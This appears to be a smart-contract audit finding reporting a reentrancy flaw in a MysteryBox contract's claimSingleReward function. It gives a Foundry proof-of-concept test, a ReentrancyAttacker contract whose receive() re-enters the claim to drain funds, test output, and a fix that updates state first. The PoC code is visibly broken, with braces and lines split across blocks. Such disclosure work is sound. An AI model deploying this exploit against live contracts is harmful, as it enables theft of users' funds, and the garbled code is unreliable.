

[H-1] TITLE (Root + Impact) : The `claimSingleReward` function in the `MysteryBox` contract is vulnerable to a reentrancy attack, which could drain all the funds from the `MysteryBox` contract.

Description : The `claimSingleReward` function in the `MysteryBox` contract can be attacked using a reentrancy attack. This happens because the function transfers funds to a user before updating the contract's state. An attacker can call the function repeatedly before the state is updated, causing the contract to send out more funds than it should. As a result, the attacker could drain all the funds from the contract.

Impact : An attacker could drain all the funds from the `MysteryBox` contract.

Proof of Concepts : Below is the code I wrote, along with a test case to show how an attacker can drain the funds from the contract.

```
function testreentrancyattack() external{

    console.log("Testing Reentrancy attack...");

    uint256 index;

    ReentrancyAttacker attacker = new ReentrancyAttacker(mysteryBox);

    vm.deal(address(mysteryBox) , 10 ether);
    vm.deal(address(attacker) , 10 ether);


    console.log("Hacker contract before balance" , address(attacker).balance);
    console.log("Main contract before balance" , address(mysteryBox).balance);


    vm.startPrank(address(attacker));

    for(uint256 i = 0; i<5; i++){

        vm.warp(1641070800 + i);
        mysteryBox.buyBox{value : 0.1 ether}();
        mysteryBox.openBox();


        uint256 valuerandom = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;

        if(valuerandom > 75){

            index = i;
            break;
        }
    }
}
```

```

}

attacker.attack(index);
vm.stopPrank();

console.log("Hacker contract after balance" , address(attacker).balance);
console.log("Main contract after balance" , address(mysteryBox).balance);

}

```

Attack contract

```

contract ReentrancyAttacker {

    MysteryBox mysteryBox;
    uint256 index;

    constructor(MysteryBox _mysteryBox) {

        mysteryBox = _mysteryBox;

    }

    function attack(uint256 _index) external payable {

        index = _index;

        mysteryBox.claimSingleReward(_index);

    }

    receive() external payable {

        if (address(mysteryBox).balance >= 1e18) {

            mysteryBox.claimSingleReward(index);

        }

    }
}

```

```

    }

    }

}

```

This test case passed, and the attacker can drain all the funds from the MysteryBox contract.

```

root@LAPTOP-6DCGCU3B:~/2024-09-mystery-box# forge test --mt testreentrancyattack -vvv
[] Compiling...
[] Compiling 1 files with Solc 0.8.28
[] Solc 0.8.28 finished in 1.26s
Compiler run successful!

Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testreentrancyattack() (gas: 1167545)
Logs:
Testing Reentrancy attack...

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.48ms (14.59ms CPU time)

Ran 1 test suite in 29.62ms (19.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total)

```

Recommended mitigation : We can update the state before transferring the amount to the user..

Recommended code :

```

function claimSingleReward(uint256 _index) public {
    require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
    uint256 value = rewardsOwned[msg.sender][_index].value;
    require(value > 0, "No reward to claim");

    delete rewardsOwned[msg.sender][_index];

    (bool success,) = payable(msg.sender).call{value: value}("");
    require(success, "Transfer failed");
}

```